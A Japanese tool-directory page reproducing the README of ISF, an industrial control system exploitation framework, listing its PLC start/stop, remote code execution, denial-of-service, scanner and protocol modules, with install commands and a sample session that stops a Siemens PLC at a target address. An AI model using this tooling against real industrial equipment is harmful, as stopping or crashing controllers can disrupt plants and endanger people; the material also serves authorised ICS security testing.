Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
isf — ISF(Industrial Control System Exploitation Framework),Pythonベースのエクスプロイトフレームワーク。 | Kitploit
ツール/GitHubGitHub/dark-lbp/isf
ペネトレーションテストフレームワークエクスプロイトフレームワークネットワークマッピング脆弱性分析エクスプロイトSCADA/ICSセキュリティ情報収集ファジングペイロード開発Archived
GitHubdark-lbp/isf

isf

ISF(Industrial Control System Exploitation Framework),Pythonベースのエクスプロイトフレームワーク。

1.1k301112年前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

産業用エクスプロイテーションフレームワーク

ISF(Industrial Exploitation Framework)はPythonベースのエクスプロイテーションフレームワークで、metasploitフレームワークと類似しています。

ISFはオープンソースプロジェクト routersploit に基づいています。

他の言語で読む: English, 简体中文,

免責事項

事前の相互同意なしにターゲットを攻撃するためにISFを使用することは違法です。エンドユーザーは、該当するすべての地域、州、連邦法を遵守する責任を負います。 開発者は一切の責任を負わず、このプログラムの誤用や損害についても責任を負いません。

ICSプロトコルクライアント

名前パス説明
modbus_tcp_clienticssploit/clients/modbus_tcp_client.pyModbus-TCP クライアント
wdb2_clienticssploit/clients/wdb2_client.pyWdbRPC バージョン2 クライアント(Vxworks 6.x)
s7_clienticssploit/clients/s7_client.pys7comm クライアント(S7 300/400 PLC)

エクスプロイトモジュール

名前パス説明
s7_300_400_plc_controlexploits/plcs/siemens/s7_300_400_plc_control.pyS7-300/400 PLC 起動/停止
s7_1200_plc_controlexploits/plcs/siemens/s7_1200_plc_control.pyS7-1200 PLC 起動/停止/リセット
vxworks_rpc_dosexploits/plcs/vxworks/vxworks_rpc_dos.pyVxworks RPC リモートDoS(CVE-2015-7599)
quantum_140_plc_controlexploits/plcs/schneider/quantum_140_plc_control.pySchneider Quantum 140 シリーズPLC 起動/停止
crash_qnx_inetd_tcp_serviceexploits/plcs/qnx/crash_qnx_inetd_tcp_service.pyQNX Inetd TCP サービスDoS
qconn_remote_execexploits/plcs/qnx/qconn_remote_exec.pyQNX qconn リモートコード実行
profinet_set_ipexploits/plcs/siemens/profinet_set_ip.pyProfinet DCP デバイスIP設定

スキャナモジュール

名前パス説明
profinet_dcp_scanscanners/profinet_dcp_scan.pyProfinet DCP スキャナ
vxworks_6_scanscanners/vxworks_6_scan.pyVxworks 6.x スキャナ
s7comm_scanscanners/s7comm_scan.pyS7comm スキャナ
enip_scanscanners/enip_scan.pyEthernetIP スキャナ

ICSプロトコルモジュール(Scapyモジュール)

これらのプロトコルは、Kitty のような他のファジングフレームワークや、独自のクライアント作成に使用できます。

名前パス説明
pn_dcpicssploit/protocols/pn_dcpProfinet DCP プロトコル
modbus_tcpicssploit/protocols/modbus_tcpModbus TCP プロトコル
wdbrpc2icssploit/protocols/wdbrpc2WDB RPC バージョン2 プロトコル
s7commicssploit/protocols/s7comm.pyS7comm プロトコル

インストール

Python要件

  • gnureadline(OSXのみ)
  • requests
  • paramiko
  • beautifulsoup4
  • pysnmp
  • python-nmap
  • scapy scapyはこの公式ドキュメントに従って手動インストールすることを推奨します

Kaliへのインストール

root@kitploit:~
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

使用方法

root@kitploit:~
    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ \| |    / __ \_   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     \___ \\___ \|  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
    
    
                    ICS Exploitation Framework
    
    Note     : ICSSPOLIT is fork from routersploit at
               https://github.com/reverse-shell/routersploit
    Dev Team : wenzhe zhu(dark-lbp)
    Version  : 0.1.0
    
    Exploits: 2 Scanners: 0 Creds: 13
    
    ICS Exploits:
        PLC: 2          ICS Switch: 0
        Software: 0
    
    isf >

エクスプロイト

root@kitploit:~
isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

タブキーで補完できます。

オプション

モジュールオプションの表示:

root@kitploit:~
isf (S7-300/400 PLC Control) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target address e.g. 192.168.1.1
   port       102                  Target Port


Module options:

   Name        Current settings     Description
   ----        ----------------     -----------
   slot        2                    CPU slot number.
   command     1                    Command 0:start plc, 1:stop plc.


isf (S7-300/400 PLC Control) >

オプションの設定

root@kitploit:~
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

モジュールの実行

root@kitploit:~
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

エクスプロイトに関する情報の表示

root@kitploit:~
isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
-  Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
-  wenzhe zhu <jtrkid[at]gmail.com>

References:

isf (S7-300/400 PLC Control) >

ドキュメント

  • Modbus-TCP クライアントの使用方法
  • WDBRPCV2 クライアントの使用方法
  • S7comm クライアントの使用方法
  • SNMP ブルートフォースの使用方法
  • S7 300/400 PLC パスワードブルートフォースの使用方法
  • Vxworks 6.x スキャナの使用方法
  • Profinet DCP スキャナの使用方法
  • S7comm PLC スキャナの使用方法
  • Profinet DCP IP設定モジュールの使用方法
  • 追加フォルダからのモジュール読み込み
  • 独自モジュールの作成方法
ツールをダウンロード